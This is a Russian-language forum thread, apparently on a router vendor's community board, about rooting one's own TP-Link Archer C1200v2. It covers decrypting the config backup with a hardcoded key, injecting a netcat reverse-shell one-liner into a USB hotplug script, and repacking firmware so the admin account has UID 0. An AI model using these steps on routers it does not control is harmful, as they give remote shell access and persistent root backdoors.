Получаем root доступ по ssh Archer C1200v2_RU

Эта ветка закрыта для дальнейших ответов. Вы можете создать новую тему, чтобы поделиться своими идеями или задать вопросы.

Получаем root доступ по ssh Archer C1200v2_RU

Эта ветка закрыта для дальнейших ответов. Вы можете создать новую тему, чтобы поделиться своими идеями или задать вопросы.
Получаем root доступ по ssh Archer C1200v2_RU
Получаем root доступ по ssh Archer C1200v2_RU
2020-01-24 17:02:37
Нашел интересную статейку
Приступаем:
1. необходимо получить хотя-бы просто доступ по ssh к роутеру. Для этого сливаем конфигурацию роутера и начинаем ее расковыривать.
У меня есть debian, поэтому им и воспользуюсь.
openssl aes-256-cbc -d -in config.bin -k 'Archer C1200' -md md5 | openssl zlib -d -out config.tar Здесь config.bin это файл слитой конфигурации
Разархивируем полученный config.tar и видим внутри xml файл настроек. В него в секции dropbear, где прописан порт, добавляем строчку <RemoteSSH>on</RemoteSSH>
После обратно запаковываем: openssl zlib -in config.tar | openssl aes-256-cbc -out config.bin -k 'Archer C1200' -md md5
Заливаем конфигурацию в роутер и перезагружаем.
Теперь можно подключиться по ssh. Логин admin, пароль, который у себя настроили

2. Получаем временный root доступ. Необходима утилита nc
Необходимо отредактировать файл /etc/hotplug.d/usb/10-usb , дописать в него после строки "ledcli ${USB}_twinkle" ниже: mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.х.х 12345 > /tmp/f
где 192.168.х.х адрес машины, на которой есть nc. Далее, втыкаем флешку в роутер и запускаем на этой машине nc -l -p 12345 , ждем и получаем временный root.

Чтобы получить постоянный root, необходимо модифицировать файловую систему роутера. Она read-only squashfs. Необходимо ее слить из роутера для потрошения. Для этого временный рут необязателен, достаточно под admin зайти по ssh. Даем команду:
nvrammanager --read=/tmp/fssystem --partition=file-system. После "слития" ФС дадим права на чтение на файл "/tmp/fsystem", а то почему-то файл образуется без каких либо разрешений. Ну и сливаем его на linux машину.

Теперь разбираем этот образ: unsquashfs4 fsystem
Все, перед нами ФС роутера. Я предварительно собрал dropbear 2016.74 с поддержкой shadow. Теперь его необходимо запхать в прошивку и заставить работать:

1. копируем dropbear в /usr/sbin
2. редактируем /etc/init.d/dropbear, а именно необходимо закоментировать строчки после: # H) enable ssh session login и до # execute program and return..
Это необходимо, поскольку данная версия не поддерживает указанные там ключи запуска.
Затем раскоментируем ниже строчку for keytype in rsa dss; do и закоментируем строчку ниже. Все, с этим файлом закончили.
3. Редактируем /etc/passwd
приводим строчку с логином admin к виду: admin:x:0:0:root:/root:/bin/ash

Также я удалил логотип "beta" из веб-интерфейса, а то он глаза конкретно мозолил.

Теперь все это собираем: mksquashfs4 squashfs-root squash.fs -noappend -all-root -comp xz -xattrs
В указанной выше статье почему-то собирали не так, и потом у них роутер не заводился, я не стал экспериментировать, сделал как написал выше, и все завелось. Полученный файл squash.fs заисываем в роутер и прошиваем им раздел: nvrammanager --write=/tmp/squash.fs --partition=file-system
После перегружаем роутер и радуемся постоянному root. Да, заходить по ssh под логином admin, теперь он имеет рут-права. Да, dropbear долго запускается, он около 2-х минут генерит файлы сертификатов, поэтому не удивляйтесь, что когда роутер уже заработает, ssh еще будет недоступен.

Выкладываю файлы, кому надо https://cloud.mail.ru/public/22hT/5DZ1JWctS
  0      
  0      
#1
Опции
2 Ответить
Re: Получаем root доступ по ssh Archer C1200v2_RU
2020-03-22 16:02:11
Автору цистерну спирта(для дезинфекции)!
У меня глупый вопрос
3. Редактируем /etc/passwd приводим строчку с логином admin к виду: admin:x:0:0:root:/root:/bin/ash
Это через vi надо делать? А если да, имеет ли это смысл на иной машине?
  0  
  0  
#1
Опции
Re: Получаем root доступ по ssh Archer C1200v2_RU
2020-03-23 04:32:15
[quote="Логи рифм" post_id=76748 time=1584892931 user_id=60166] Автору цистерну спирта(для дезинфекции)!
У меня глупый вопрос
3. Редактируем /etc/passwd приводим строчку с логином admin к виду: admin:x:0:0:root:/root:/bin/ash
Это через vi надо делать? А если да, имеет ли это смысл на иной машине? [/quote]
/etc/passwd это файл, который находится в squashfs роутера. Т.е. надо сначала распаковать полученный squashfs образ ФС роутера, затем произвести манипуляции, потом запаковать его и влить образ уже обратно на роутер
  0  
  0  
#1
Опции